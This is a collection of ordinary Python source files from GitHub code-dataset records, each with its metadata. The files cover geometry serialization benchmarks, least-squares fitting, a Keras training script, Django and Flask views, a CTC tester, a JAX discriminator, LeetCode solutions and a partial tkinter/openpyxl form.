line\")\nrun_deserialize_trial(long_line, long_line_iterations, \"long line\")\nrun_deserialize_trial(point, point_iterations, \"point\")\nrun_deserialize_trial(small_polygon, small_polygon_iterations, \"small polygon\")\nrun_deserialize_trial(large_polygon, large_polygon_iterations, \"large polygon\")\nrun_deserialize_trial(small_multipoint, small_multipoint_iterations, \"small multipoint\")\nrun_deserialize_trial(large_multipoint, large_multipoint_iterations, \"large multipoint\")\nrun_deserialize_trial(small_multilinestring, small_multilinestring_iterations, \"small multilinestring\")\nrun_deserialize_trial(large_multilinestring, large_multilinestring_iterations, \"large multilinestring\")\nrun_deserialize_trial(small_multipolygon, small_multipolygon_iterations, \"small multipolygon\")\nrun_deserialize_trial(large_multipolygon, large_multipolygon_iterations, \"large multipolygon\")\n", "repo_name": "Kontinuation/sedona-python-serde", "sub_path": "experi/bench_doug.py", "file_name": "bench_doug.py", "file_ext": "py", "file_size_in_byte": 4697, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.perf_counter_ns", "line_number": 10, "usage_type": "call"}, {"api_name": "shapely.wkb.dumps", "line_number": 12, "usage_type": "call"}, {"api_name": "time.perf_counter_ns", "line_number": 13, "usage_type": "call"}, {"api_name": "time.perf_counter_ns", "line_number": 15, "usage_type": "call"}, {"api_name": "sedona.utils.geometry_serde.serialize", "line_number": 17, "usage_type": "call"}, {"api_name": "time.perf_counter_ns", "line_number": 18, "usage_type": "call"}, {"api_name": "shapely.wkb.dumps", "line_number": 26, "usage_type": "call"}, {"api_name": "sedona.utils.geometry_serde.serialize", "line_number": 27, "usage_type": "call"}, {"api_name": "time.perf_counter_ns", "line_number": 29, "usage_type": "call"}, {"api_name": "shapely.wkb.loads", "line_number": 31, "usage_type": "call"}, {"api_name": "time.perf_counter_ns", "line_number": 32, "usage_type": "call"}, {"api_name": "time.perf_counter_ns", "line_number": 34, "usage_type": "call"}, {"api_name": "sedona.utils.geometry_serde.deserialize", "line_number": 36, "usage_type": "call"}, {"api_name": "time.perf_counter_ns", "line_number": 37, "usage_type": "call"}, {"api_name": "shapely.geometry.LineString", "line_number": 43, "usage_type": "call"}, {"api_name": "shapely.geometry.LineString", "line_number": 46, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 49, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 52, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 55, "usage_type": "call"}, {"api_name": "shapely.geometry.MultiPoint", "line_number": 63, "usage_type": "call"}, {"api_name": "shapely.geometry.MultiPoint", "line_number": 66, "usage_type": "call"}, {"api_name": "shapely.geometry.MultiLineString", "line_number": 69, "usage_type": "call"}, {"api_name": "shapely.geometry.MultiLineString", "line_number": 72, "usage_type": "call"}, {"api_name": "shapely.geometry.MultiPolygon", "line_number": 75, "usage_type": "call"}, {"api_name": "shapely.geometry.MultiPolygon", "line_number": 78, "usage_type": "call"}]}
{"seq_id": "72764401189", "text": "# -*- coding: utf-8 -*-\r\n# 函数形为y=kx+b ,leastsq\r\nimport numpy as np\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.optimize import leastsq\r\n\r\ndef readData(fileName):\r\n    xcord=[]\r\n    ycord=[]\r\n    fr=open(fileName)\r\n    for line in fr.readlines():\r\n        lineArr = line.strip().split(',')\r\n        xcord.append(float(lineArr[0]))\r\n        ycord.append(float(lineArr[1]))        \r\n    \r\n    return xcord,ycord\r\n    \r\nX_raw,Y_raw=readData(\"lsm_data.csv\")\r\n\r\n#y=k*x + b\r\ndef func(params,x):\r\n    k,b=params\r\n    return k*x+b\r\n\r\ndef error(params,x,y,s):\r\n    print(s)\r\n    return func(params,x)-y\r\n\r\ninit_params = [1,1];\r\n###主函数从此开始###\r\n\r\n#这里要用np.array\r\nX=np.array(X_raw)\r\nY=np.array(Y_raw)\r\n\r\ns=\"The number of iteration\" #试验最小二乘法函数leastsq得调用几次error函数才能找到使得均方误差之和最小的k、b\r\nPara=leastsq(error,init_params,args=(X,Y,s)) #把error函数中除了p以外的参数打包到args中\r\nk,b=Para[0]\r\nprint(\"k=\"+str(k)+ \";b=\"+str(b))\r\n\r\n#点图\r\nplt.scatter(X_raw,Y_raw,s=30,c='red',marker='s')\r\n \r\n#拟合线\r\nx=np.linspace(100,240,20)\r\ny=k*x+b\r\nplt.plot(x,y,'b--')\r\nplt.show()\r\n", "repo_name": "njusdp/leastsq", "sub_path": "least_square_method.py", "file_name": "least_square_method.py", "file_ext": "py", "file_size_in_byte": 1159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.optimize.leastsq", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}]}
{"seq_id": "12765816626", "text": "#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Flatten\n\nfrom ncaa_predict.data_loader import load_data_multiyear, N_PLAYERS, N_FEATURES\nfrom ncaa_predict.util import list_arg\n\n\nDEFAULT_BATCH_SIZE = 10000\nDEFAULT_STEPS = sys.maxsize\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--batch_size\",\n        \"-b\",\n        default=DEFAULT_BATCH_SIZE,\n        type=int,\n        help=\"The training batch size. Smaller numbers will train faster but \"\n        \"may not converge. (default: %(default)s)\",\n    )\n    parser.add_argument(\n        \"--model-out\",\n        \"-o\",\n        default=None,\n        help=\"File to save the model to. This will be an entire Keras model, \"\n        \"which can be loaded and used without needing to keep track of the \"\n        \"architecture. Warning: Keras will overwrite existing models. \"\n        \"(default: don't save)\",\n    )\n    parser.add_argument(\n        \"--steps\",\n        \"-s\",\n        default=DEFAULT_STEPS,\n        type=int,\n        help=\"The maximum number of training steps. Note that you can stop \"\n        \"training at any time and save the output with ctrl+c. (default: \"\n        \"%(default)s)\",\n    )\n    parser.add_argument(\n        \"--train-years\",\n        \"-y\",\n        default=list(range(2002, 2017)),\n        type=list_arg(type=int, container=frozenset),\n        help=\"A comma-separated list of years to train on.\",\n    )\n    args = parser.parse_args()\n\n    model = Sequential(\n        [\n            Flatten(),\n            Dense(16, activation=\"relu\", kernel_regularizer=\"L1L2\"),\n            Dense(2, activation=\"softmax\"),\n        ]\n    )\n    model.compile(\n        loss=\"categorical_crossentropy\",\n        optimizer=\"rmsprop\",\n        metrics=[\"accuracy\", \"AUC\", \"Precision\", \"Recall\"],\n    )\n\n    features, labels = load_data_multiyear(args.train_years)\n    try:\n        model.fit(\n            x=features,\n            y=labels,\n            batch_size=args.batch_size,\n            epochs=args.steps // args.batch_size,\n            shuffle=True,\n            validation_split=0.1,\n        )\n    except KeyboardInterrupt:\n        print(\"Stopped training due to keyboard interrupt\")\n    if args.model_out is not None:\n        model.save(args.model_out)\n\n    # Workaround for TensorFlow bug:\n    # https://github.com/tensorflow/tensorflow/issues/3388\n    import gc\n\n    gc.collect()\n", "repo_name": "brendanlong/ncaa-predict", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 2450, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.maxsize", "line_number": 13, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 17, "usage_type": "call"}, {"api_name": "ncaa_predict.util.list_arg", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 55, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 57, "usage_type": "call"}, {"api_name": "ncaa_predict.data_loader.load_data_multiyear", "line_number": 66, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 85, "usage_type": "call"}]}
{"seq_id": "35629600660", "text": "from django.shortcuts import render\nfrom django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom django.contrib import messages \nfrom django.core.mail import send_mail \nfrom validate_email import validate_email\nfrom .models import send,resume,contect,certificate,project\nimport datetime\n# import requests\nimport json\nimport os\nimport requests\ndef index(request):\n    c=certificate.objects.all()\n    p=project.objects.all()\n    return render(request,\"index.html\",{\"project\":p,\"certificate\":c})\ndef sendlink(request):\n    tday=datetime.date.today()\n    email=request.POST[\"email\"]\n    is_valid = validate_email(email)\n    if(is_valid):\n        q=resume.objects.all()\n        url=' '\n        for i in q:\n            url=i.url\n        mail=send_mail(\"Download Resume\",\" \",os.environ.get('send_email'),[email],html_message='''
Thanks for visit my portfolio 
Please click link to download Resume 
Download'''.format(url))\n        if mail:\n            s=send(Email=email,Date=tday)\n            s.save()\n            messages.info(request,\"Link send to your email pelase download\")\n            return redirect(\"index\") \n    else:\n        messages.error(request,\"Please enter valid Email\")\n        print(\"asdsafdsf\")\n        return redirect(\"index\") \n\n    return render(request,\"index.html\")\n\ndef contectmessage(request):\n    email2=''\n    tday=datetime.date.today()\n    if(len(request.POST[\"username\"])==0):\n        messages.error(request,\"Username required\")\n    else:\n        username=request.POST[\"username\"]\n    if(len(request.POST[\"email\"])==0):\n        messages.error(request,\"Email required\")\n    else:\n        email=request.POST[\"email\"]\n        if(validate_email(email)):\n            email2=email\n        else:\n            messages.error(request,\"Invalid Email\")\n\n    if(len(request.POST[\"message\"])==0):\n        messages.error(request,\"message required\")\n    else:\n        message=request.POST[\"message\"]        \n    \n    recaptcha_response=request.POST.get(\"g-recaptcha-response\")\n    data = {\n                'secret': os.environ.get('recaptcha_secret') ,\n                'response': recaptcha_response\n            }\n    r = requests.post('https://www.google.com/recaptcha/api/siteverify', data=data)\n    result = r.json()    \n    if result['success']:\n        if(len(username)!=0 and len(email2)!=0 and len(message)!=0):\n            obj=contect(Username=username,Email=email,Message=message,Date=tday)\n            obj.save()\n            messages.info(request,\"Thanks for contect\") \n            send_mail(\"Portfolio Contect\",\" \",os.environ.get('send_email'),[os.environ.get('receive_email')],html_message='''
Username: {}
 
Email: {}
Message: {}
'''.format(username,email,message))       \n            return redirect(\"index\")\n    else:\n        messages.error(request,\"Recaptcha error\")\n        return redirect(\"index\")\n", "repo_name": "ashish8318/myportfolio", "sub_path": "app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2914, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "models.certificate.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "models.certificate.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.certificate", "line_number": 14, "usage_type": "name"}, {"api_name": "models.project.objects.all", "line_number": 15, "usage_type": "call"}, {"api_name": "models.project.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "models.project", "line_number": 15, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 18, "usage_type": "attribute"}, {"api_name": "validate_email.validate_email", "line_number": 20, "usage_type": "call"}, {"api_name": "models.resume.objects.all", "line_number": 22, "usage_type": "call"}, {"api_name": "models.resume.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.resume", "line_number": 22, "usage_type": "name"}, {"api_name": "django.core.mail.send_mail", "line_number": 26, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 26, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.send", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 33, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.contrib.messages.error", "line_number": 43, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 43, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 47, "usage_type": "name"}, {"api_name": "validate_email.validate_email", "line_number": 50, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 53, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 56, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 56, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 62, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 62, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 65, "usage_type": "call"}, {"api_name": "models.contect", "line_number": 69, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 71, "usage_type": "name"}, {"api_name": "django.core.mail.send_mail", "line_number": 72, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 72, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 72, "usage_type": "attribute"}, {"api_name": "django.shortcuts.redirect", "line_number": 73, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 75, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 75, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 76, "usage_type": "call"}]}
{"seq_id": "16332885660", "text": "import torch\nfrom progressbar import *\nfrom Utils.utils import *\n\nclass CTCTester(object):\n    def __init__(self, model, test_dataloader, param):\n        super(CTCTester, self).__init__()\n\n        # ---- initialize\n        self.p_te = param.test\n        self.test_dataloader = test_dataloader\n        self.model = model\n\n    def load_state_dict(self):\n        # ---- load model\n        if os.path.exists(self.p_te.model_path):\n            ckpt = torch.load(self.p_te.model_path)\n            self.model.load_state_dict(ckpt['state_dict'])\n            print('='*50)\n            print(\"Test model '{}'\".format(self.p_te.model_path))\n        else:\n            raise(\"Model '{}' not exist!\".format(self.p_te.model_path))\n\n    def test(self):\n        # ---- load model\n        self.load_state_dict()\n\n        # ---- eval mode\n        self.model.eval()\n\n        char_errs = 0.\n        label_lens = 0\n\n        with torch.no_grad():\n\n            widgets = ['Progress: ', Percentage(), ' ', Bar('#'), ' ', Timer(), ' ', ETA()]\n            progress = ProgressBar(widgets=widgets, maxval=10 * self.test_dataloader.batch_number).start()\n\n            for step, data_batch in enumerate(self.test_dataloader):\n                # ---- get data of a batch\n                images, sparse_labels, (_, _), \\\n                in_seq_lens, label_len, _, _ \\\n                    = data_batch\n                # ---- set data type\n                images = torch.from_numpy(images).cuda()\n                in_seq_lens = torch.Tensor(in_seq_lens).cuda()\n\n                # ---- forward\n                logits, out_seq_lens = self.model(images, in_seq_lens)\n                logits = logits.transpose(0, 1).contiguous()\n\n                # ---- compute CER (before normalized)\n                char_err, _ = compute_char_err(\n                    logits.cpu().detach().numpy(),\n                    out_seq_lens.cpu().detach().numpy(),\n                    sparse_labels,\n                    type='beam'\n                )\n                # ---- sum the CER and label length\n                char_errs += char_err\n                label_lens += label_len\n\n                progress.update(step * 10 + 1)\n            progress.finish()\n\n            # ---- compute average CER\n            char_err_rate = char_errs / label_lens\n\n        print('Test CER = {:.3f}%'.format(char_err_rate*100))\n        print('='*50)\n\n", "repo_name": "RuijieJ/DTRN-pytorch", "sub_path": "Trainer/CTCTester.py", "file_name": "CTCTester.py", "file_ext": "py", "file_size_in_byte": 2369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.load", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 46, "usage_type": "call"}]}
{"seq_id": "18643829777", "text": "# import torch\n# import torch.nn as nn\n# import torch.nn.functional as F\n# from torch.nn.utils import weight_norm, spectral_norm\nimport numpy as np\nimport jax\nimport jax.numpy as jnp\nimport flax.linen as nn\nfrom jax.nn.initializers import normal as normal_init\nfrom jax.nn.initializers import constant as constant_init\nfrom .snake import snake\n\nclass DiscriminatorP(nn.Module):\n    hp:tuple\n    period:tuple\n    def setup(self):\n        self.LRELU_SLOPE = self.hp.mpd.lReLU_slope\n\n        kernel_size = self.hp.mpd.kernel_size\n        stride = self.hp.mpd.stride\n      \n\n        self.convs = [\n            nn.Conv(64, (kernel_size, 1), (stride, 1)),\n            nn.Conv( 128, (kernel_size, 1), (stride, 1)),\n            nn.Conv( 256, (kernel_size, 1), (stride, 1)),\n            nn.Conv( 512, (kernel_size, 1), (stride, 1)),\n            nn.Conv( 1024, (kernel_size, 1), 1),\n        ]\n        self.conv_post = nn.Conv(1, (3, 1), 1)\n\n    def __call__(self, x,train=True):\n        fmap = []\n\n        # 1d to 2d\n        b, c, t = x.shape\n        if t % self.period != 0: # pad first\n            n_pad = self.period - (t % self.period)\n            x = jnp.pad(x, [(0,0),(0,0),(0, n_pad)], \"reflect\")\n            t = t + n_pad\n        x = jnp.reshape(x,[b, c, t // self.period, self.period])\n\n        for l in self.convs:\n            x = l(x.transpose(0,2,3,1)).transpose(0,3,1,2)\n            #x = nn.leaky_relu(x, self.LRELU_SLOPE)\n            x = nn.swish(x)\n            fmap.append(x)\n        x = self.conv_post(x.transpose(0,2,3,1)).transpose(0,3,1,2)\n        fmap.append(x)\n        x = jnp.reshape(x,[x.shape[0],-1])\n\n        return fmap, x\n\n\nclass MultiPeriodDiscriminator(nn.Module):\n    hp:tuple\n    def setup(self):\n        self.discriminators = [DiscriminatorP(self.hp, period) for period in self.hp.mpd.periods]\n        \n    def __call__(self, x,train=True):\n        ret = list()\n        for disc in self.discriminators:\n            ret.append(disc(x,train=train))\n\n        return ret  # [(feat, score), (feat, score), (feat, score), (feat, score), (feat, score)]\n", "repo_name": "flyingblackshark/jax-so-vits-svc-5.0", "sub_path": "vits_decoder/mpd.py", "file_name": "mpd.py", "file_ext": "py", "file_size_in_byte": 2068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flax.linen.Module", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flax.linen", "line_number": 13, "usage_type": "name"}, {"api_name": "flax.linen.Conv", "line_number": 24, "usage_type": "call"}, {"api_name": "flax.linen", "line_number": 24, "usage_type": "name"}, {"api_name": "flax.linen.Conv", "line_number": 25, "usage_type": "call"}, {"api_name": "flax.linen", "line_number": 25, "usage_type": "name"}, {"api_name": "flax.linen.Conv", "line_number": 26, "usage_type": "call"}, {"api_name": "flax.linen", "line_number": 26, "usage_type": "name"}, {"api_name": "flax.linen.Conv", "line_number": 27, "usage_type": "call"}, {"api_name": "flax.linen", "line_number": 27, "usage_type": "name"}, {"api_name": "flax.linen.Conv", "line_number": 28, "usage_type": "call"}, {"api_name": "flax.linen", "line_number": 28, "usage_type": "name"}, {"api_name": "flax.linen.Conv", "line_number": 30, "usage_type": "call"}, {"api_name": "flax.linen", "line_number": 30, "usage_type": "name"}, {"api_name": "jax.numpy.pad", "line_number": 39, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 39, "usage_type": "name"}, {"api_name": "jax.numpy.reshape", "line_number": 41, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 41, "usage_type": "name"}, {"api_name": "flax.linen.swish", "line_number": 46, "usage_type": "call"}, {"api_name": "flax.linen", "line_number": 46, "usage_type": "name"}, {"api_name": "jax.numpy.reshape", "line_number": 50, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 50, "usage_type": "name"}, {"api_name": "flax.linen.Module", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flax.linen", "line_number": 55, "usage_type": "name"}]}
{"seq_id": "24790016916", "text": "from flask import render_template\nfrom flask.views import MethodView\nimport requests\nimport json\nfrom google.cloud import translate\nfrom google.cloud import translate_v2 as translate\nimport six\nimport os\n\nclass Index(MethodView):\n    def get(self):\n\n        #get weather conditions for Portland city\n        cur_weather = self.weather()\n\n        #get translations of main text in Chinese and Hindi\n        text1, text2, text4 = self.translate_text()\n        return render_template('index.html',text1 = text1,text2 = text2, text4=text4, cur_weather=cur_weather)\n\n\n    # WEATHER API - AccuWeather API from www.developer.accuweather.com\n    def weather(self):\n        # API key - generated for each developer on sign up\n        api_key = os.environ.get('WEATHER_API_KEY')\n        params = (('apikey', 'xRDLck9bfGJ8XTm1FsfyiXURXnrwyjM5'),)\n        \n        response = requests.get('http://dataservice.accuweather.com/currentconditions/v1/350473', params=params)\n        \n        #original request call\n        #response = requests.get('http://dataservice.accuweather.com/currentconditions/v1/350473?apikey=xRDLck9bfGJ8XTm1FsfyiXURXnrwyjM5')\n        res = json.loads(response.text)\n        \n        cur_weather = []\n        cur_weather.append(res[0]['WeatherText'])\n        cur_weather.append(str(res[0]['Temperature']['Imperial']['Value'])+res[0]['Temperature']['Imperial']['Unit'])\n        cur_weather.append(\"Day\" if res[0]['IsDayTime'] else \"Night\")\n\n        return cur_weather\n    \n    #Google Translate API------------\n    def translate_text(self):\n        # [START translate_translate_text]\n        t1 = 'Add new location'\n        t2 = 'Check out all locations'\n        #t3 = 'Store Shut Down? Let us know'\n        t4 = 'Let us Know about your fun time'\n        \n        text1 = []\n        text2 = []\n        #text3 = []\n        text4 = []\n\n        translate_client = translate.Client()\n        if isinstance(t1, six.binary_type):\n            t1 = t1.decode('utf-8')\n        if isinstance(t2, six.binary_type):\n            t2 = t2.decode('utf-8')\n        #if isinstance(text3, six.binary_type):\n         #   t3 = t3.decode('utf-8')\n        if isinstance(text4, six.binary_type):\n            t4 = t4.decode('utf-8')\n            \n        target = ['zh', 'hi']\n        for t in target:\n            text1.append(translate_client.translate(t1, target_language=t)['translatedText'])\n            text2.append(translate_client.translate(t2, target_language=t)['translatedText'])\n            #text3.append(translate_client.translate(t3, target_language=t)['translatedText'])\n            text4.append(translate_client.translate(t4, target_language=t)['translatedText'])\n            \n        return text1, text2, text4\n        #[END translate_translate_text]\n", "repo_name": "deepa-varghese-88/BubbleTeaStore-GPCAppEngine", "sub_path": "index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 2750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.views.MethodView", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 24, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 24, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 31, "usage_type": "call"}, {"api_name": "google.cloud.translate_v2.Client", "line_number": 53, "usage_type": "call"}, {"api_name": "google.cloud.translate_v2", "line_number": 53, "usage_type": "name"}, {"api_name": "six.binary_type", "line_number": 54, "usage_type": "attribute"}, {"api_name": "six.binary_type", "line_number": 56, "usage_type": "attribute"}, {"api_name": "six.binary_type", "line_number": 60, "usage_type": "attribute"}]}
{"seq_id": "74662295908", "text": "from typing import List\nclass Solution:\n    def maximalRectangle(self, matrix: List[List[str]]) -> int:\n        if not matrix:\n            return 0\n        m = len(matrix)\n        n = len(matrix[0])\n        dp_u = [0] * n\n        dp_l = [0] * n\n        dp_r = [n] * n\n        res = 0\n        cur_left, cur_right = 0, n-1\n        for i in range(m):\n            for j in range(n):\n                if matrix[i][j] == \"0\":\n                    dp_u[j] = 0\n                    dp_l[j] = 0\n                    cur_left = j + 1\n                else:\n                    dp_u[j] += 1\n                    dp_l[j] = max(cur_left, dp_l[j])\n            for j in range(n-1, -1, -1):\n                if matrix[i][j] == \"0\":\n                    dp_r[j] = n\n                    cur_right = j\n                else:\n                    dp_r[j] = min(cur_right, dp_r[j])\n                    res = max(res, dp_u[j] * (dp_r[j] - dp_l[j]))\n        return res\n\n\nclass Solution:\n    # Get the maximum area in a histogram given its heights\n    def leetcode84(self, heights):\n        stack = [-1]\n        maxarea = 0\n        for i in range(len(heights)):\n\n            while stack[-1] != -1 and heights[stack[-1]] >= heights[i]:\n                maxarea = max(maxarea, heights[stack.pop()] * (i - stack[-1] - 1))\n            stack.append(i)\n\n        while stack[-1] != -1:\n            maxarea = max(maxarea, heights[stack.pop()] * (len(heights) - stack[-1] - 1))\n        return maxarea\n\n    def maximalRectangle(self, matrix: List[List[str]]) -> int:\n        if not matrix: return 0\n\n        maxarea = 0\n        dp = [0] * len(matrix[0])\n        for i in range(len(matrix)):\n            for j in range(len(matrix[0])):\n                dp[j] = dp[j] + 1 if matrix[i][j] == '1' else 0\n            maxarea = max(maxarea, self.leetcode84(dp))\n        return maxarea\n\nrec = [[\"1\",\"0\",\"1\",\"0\",\"0\"],[\"1\",\"0\",\"1\",\"1\",\"1\"],[\"1\",\"1\",\"1\",\"1\",\"1\"],[\"1\",\"0\",\"0\",\"1\",\"0\"]]\nprint(Solution().maximalRectangle(rec))", "repo_name": "XinchaoGou/MyLeetCode", "sub_path": "85. Maximal Rectangle.py", "file_name": "85. Maximal Rectangle.py", "file_ext": "py", "file_size_in_byte": 1969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 3, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 47, "usage_type": "name"}]}
{"seq_id": "9774606475", "text": "# import openpyxl and tkinter modules\nfrom tkinter import filedialog\n\nfrom openpyxl import load_workbook\nfrom tkinter import *\nfrom Main import my_logic\n\n# globally declare wb and sheet variable\n\n# opening the existing excel file\n\nwb = load_workbook('data.xlsx')\n\n# create the sheet object\nsheet = wb.active\n\n\ndef excel():\n    # resize the width of columns in\n    # excel spreadsheet\n    sheet.column_dimensions['A'].width = 30\n    sheet.column_dimensions['B'].width = 50\n    sheet.column_dimensions['C'].width = 30\n    sheet.column_dimensions['D'].width = 30\n    sheet.column_dimensions['E'].width = 10\n    sheet.column_dimensions['F'].width = 10\n    sheet.column_dimensions['G'].width = 10\n\n    # write given data to an excel spreadsheet\n    # at particular location\n    sheet.cell(row=1, column=1).value = \"Meeting Title\"\n    sheet.cell(row=1, column=2).value = \"Meeting Transcript\"\n    sheet.cell(row=1, column=3).value = \"Enterprise ID\"\n    sheet.cell(row=1, column=4).value = \"Email ID\"\n    sheet.cell(row=1, column=5).value = \"Meeting Minutes\"\n    sheet.cell(row=1, column=6).value = \"Participant List\"\n    sheet.cell(row=1, column=7).value = \"Follow-Up Meeting\"\n\n\n# Function to set focus (cursor)\ndef focus1(event):\n    # set focus on the transcript_field box\n    transcript_field.focus_set()\n\n\n# Function to set focus\ndef focus2(event):\n    # set focus on the eid_field box\n    eid_field.focus_set()\n\n\n# Function to set focus\ndef focus3(event):\n    # set focus on the email_field box\n    email_field.focus_set()\n\n\n# Function to set focus\ndef focus4(event):\n    # set focus on the minutes_field box\n    minutes_field.focus_set()\n\n\n# Function to set focus\ndef focus5(event):\n    # set focus on the participants_field box\n    participants_field.focus_set()\n\n\n# Function to set focus\ndef focus6(event):\n    # set focus on the followup_field box\n    followup_field.focus_set()\n\n\n# Function for clearing the\n# contents of text entry boxes\ndef clear():\n    # clear the content of text entry box\n    title_field.delete(0, END)\n    # transcript_field.delete(0, END)\n    eid_field.delete(0, END)\n    email_field.delete(0, END)\n    # minutes_field.delete(0, END)\n    # participants_field.delete(0, END)\n    minutes_field.deselect()\n    participants_field.deselect()\n    followup_field.deselect()\n\n\n# Function to take data from GUI\n# window and write to an excel file\ndef insert():\n    # if user not fill any entry\n    # then print \"empty input\"\n    if (title_field.get() == \"\" and\n            textfile.get() == \"\" and\n            eid_field.get() == \"\" and\n            email_field.get() == \"\"):\n        # minutes_field.get() == \"\" and\n        # participants_field.get() == \"\"):\n\n        print(\"empty input\")\n\n    else:\n\n        # assigning the max row and max column\n        # value upto which data is written\n        # in an excel sheet to the variable\n        current_row = sheet.max_row\n        current_column = sheet.max_column\n\n        # get method returns current text\n        # as string which we write into\n        # excel spreadsheet at particular location\n        sheet.cell(row=current_row + 1, column=1).value = title_field.get()\n        sheet.cell(row=current_row + 1, column=2).value = textfile\n        sheet.cell(row=current_row + 1, column=3).value = eid_field.get()\n        sheet.cell(row=current_row + 1, column=4).value = email_field.get()\n        sheet.cell(row=current_row + 1, column=5).value = Checkbutton1.get()\n        sheet.cell(row=current_row + 1, column=6).value = Checkbutton2.get()\n        sheet.cell(row=current_row + 1, column=7).value = Checkbutton3.get()\n\n        my_logic(textfile, Checkbutton1.get(), Checkbutton2.get(), Checkbutton3.get())\n\n        # save the file\n        wb.save('data.xlsx')\n\n        # set focus 